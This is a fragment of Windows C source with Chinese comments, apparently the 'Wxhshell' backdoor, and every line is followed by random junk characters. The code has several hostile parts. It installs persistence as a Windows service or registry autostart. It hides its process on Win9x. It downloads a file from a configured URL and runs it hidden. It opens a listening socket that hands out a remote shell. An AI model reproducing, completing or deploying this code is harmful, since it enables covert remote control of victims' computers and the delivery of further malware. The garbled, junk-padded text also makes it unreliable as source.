} PROCESS_BASIC_INFORMATION; 6R n?pe^
4E^ ?}_$
PROCNTQSIP NtQueryInformationProcess; H0af u)$,
~XTC:6ts
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~S8:xG+s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qo#]Lo> \g
V+E8{|dYL
HANDLE hProcess; 8Sr'
PROCESS_BASIC_INFORMATION pbi; ,UY1.tR(
.Fo#Dmq3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "JB4Uaa
if(NULL == hInst ) return 0; TJ"-cWpO1
xnZnbgO+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lmeTW0U@9(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tAAMSb9[d
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n~I-mR)"
Z}+}X|
if (!NtQueryInformationProcess) return 0; z\]Z/Bz:6
NU=ru/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HOP*QX8C%
if(!hProcess) return 0; g<j)
w|9 >4
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "2cOS PpQL
0caZ_-zU
CloseHandle(hProcess); }=-0DSLVj
'=_(fa,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yvYMk(LSF
if(hProcess==NULL) return 0; f% pT-#
*dw.=a9
HMODULE hMod; f{P1.?a
char procName[255]; Jl{ 0q7b
unsigned long cbNeeded; nI*.(+h
<fUo@]Lv
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S^rf^%
`8!9Fp
CloseHandle(hProcess); h=#w< @
`B)@
if(strstr(procName,"services")) return 1; // 以服务启动 #Z%"
?RJ
hq=;ZI
return 0; // 注册表启动 |7|S>h^
} Hl$W+e|tj
NrqJf-ldo
// 主模块 <s9{o
uZ
int StartWxhshell(LPSTR lpCmdLine) N:lfKI
{ {kpF etXt?
SOCKET wsl; z?o8h
N\
BOOL val=TRUE; X8)k'h
int port=0; 4IeCb?
struct sockaddr_in door; l f>/
k =! Q
if(wscfg.ws_autoins) Install();
{MgRi7
b84l`J
port=atoi(lpCmdLine); yvd)pH<a2
5BVvT
`<
if(port<=0) port=wscfg.ws_port; [^qT?se{
sINQ?4_8T
WSADATA data; j"qND=15
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Nfa&r
5XKTb
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \,#$,dUXD
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l\UjvG
door.sin_family = AF_INET;
mwAN9<o
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }S> 4.8
door.sin_port = htons(port); [H h-F#|R
b>-DX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n~^SwOt~;5
closesocket(wsl); pfN(Ae
Pt
return 1; QG5WsuT
} <*(Z}p
Kip&YB%rk
if(listen(wsl,2) == INVALID_SOCKET) { luoQ#1F?sl
closesocket(wsl); Aw#<: 6-
return 1; _uIS[%4g
} FZi@h
Wxhshell(wsl); Sm'Tz&!
WSACleanup(); vIV|y>;g
,Z{\YAh1
return 0; 8b/$Qp4d
YG\#N+D
} QEyL/#Q
2"ax*MQH<^
// 以NT服务方式启动 +z;*r8d<X
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _T\ ~%
{ (nqry[g&
DWORD status = 0; *ID=X!v
DWORD specificError = 0xfffffff; 94tfR$W;-
kdNo<x1o
serviceStatus.dwServiceType = SERVICE_WIN32; FGV
L[\
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @c|=onx5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q`<vY'&1
serviceStatus.dwWin32ExitCode = 0; 1:-'euA"
serviceStatus.dwServiceSpecificExitCode = 0; yv,FzF}7
serviceStatus.dwCheckPoint = 0; \=%lH =yS
serviceStatus.dwWaitHint = 0; z!}E2j_9P
6
U.Jaai:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a4*v'Xc5
if (hServiceStatusHandle==0) return; tguB@,O
*'Yy@T8M
status = GetLastError(); R"t#dG]1t
if (status!=NO_ERROR) .QvD603%5
{ KFrsXf
serviceStatus.dwCurrentState = SERVICE_STOPPED; $)M3fZ$#
serviceStatus.dwCheckPoint = 0; )iN;1>
serviceStatus.dwWaitHint = 0; f}-'67*Y
serviceStatus.dwWin32ExitCode = status; Hx.|5n,5
serviceStatus.dwServiceSpecificExitCode = specificError; 9X*Nk~}Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hr
vTFJ
return; &=@{`2&
} im>(^{{r&
qb"S
serviceStatus.dwCurrentState = SERVICE_RUNNING; @)Vpj\jM-C
serviceStatus.dwCheckPoint = 0; :60vbO
serviceStatus.dwWaitHint = 0; 7#LIG r
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o}AXp@cqi
} !^arWH[od
=$'>VPQ
// 处理NT服务事件,比如:启动、停止 khy'Y&\F;
VOID WINAPI NTServiceHandler(DWORD fdwControl) NW\CEJV
{ 5H3o?x
switch(fdwControl) w'@gzK
{ Nv5^2^Sc=
case SERVICE_CONTROL_STOP: ~~>m
serviceStatus.dwWin32ExitCode = 0; !5*VBE\
serviceStatus.dwCurrentState = SERVICE_STOPPED; p4VARAqi
serviceStatus.dwCheckPoint = 0; I*rUe#$
serviceStatus.dwWaitHint = 0; L)'G_)Sl
{ <pX?x3-'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rL5=8l
} ^Om}9rXw1
return; T@W:@,34
case SERVICE_CONTROL_PAUSE: yT^2;/Z
serviceStatus.dwCurrentState = SERVICE_PAUSED; )qxt<
break; _U~R
case SERVICE_CONTROL_CONTINUE: (5$Ge$
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z ]A
|"6<
break; XM]m%I
case SERVICE_CONTROL_INTERROGATE: t&U9Z$LS
break; d.&_j`\F
}; =R5W
KX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yY$^
R|t
} |
Y:`>2ev
:C5w5
Vnj
// 标准应用程序主函数 !Rv ;~f/2
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5IU!BQU
{ //@6w;P
";/]rwHa)
// 获取操作系统版本 }c,b]!:
OsIsNt=GetOsVer(); TEV DES
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'w:ugb9]
lelmX
// 从命令行安装 T}Tv}~!f
if(strpbrk(lpCmdLine,"iI")) Install(); ucl001EK
x;vfmgty
// 下载执行文件 <'=!f6Wh
if(wscfg.ws_downexe) { 971=OEyq*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \,;glY=M!
WinExec(wscfg.ws_filenam,SW_HIDE); NO5k1/-
} n.+*_c8 k
4?pb!@l
if(!OsIsNt) { Jh+;+"
// 如果时win9x,隐藏进程并且设置为注册表启动 24wDnDyh
HideProc(); pm
O9mWq
StartWxhshell(lpCmdLine); Bl\:YYd
} vQ<
~-E
else -ssb|r
if(StartFromService()) 'o&d!
// 以服务方式启动 S*l/
Sa@
StartServiceCtrlDispatcher(DispatchTable); lT[,w9 $
else YnpN
-Y%g
// 普通方式启动 ANm@$xO*
StartWxhshell(lpCmdLine); u|<?mA!
t w4,gW
return 0; _9BL7W $;
}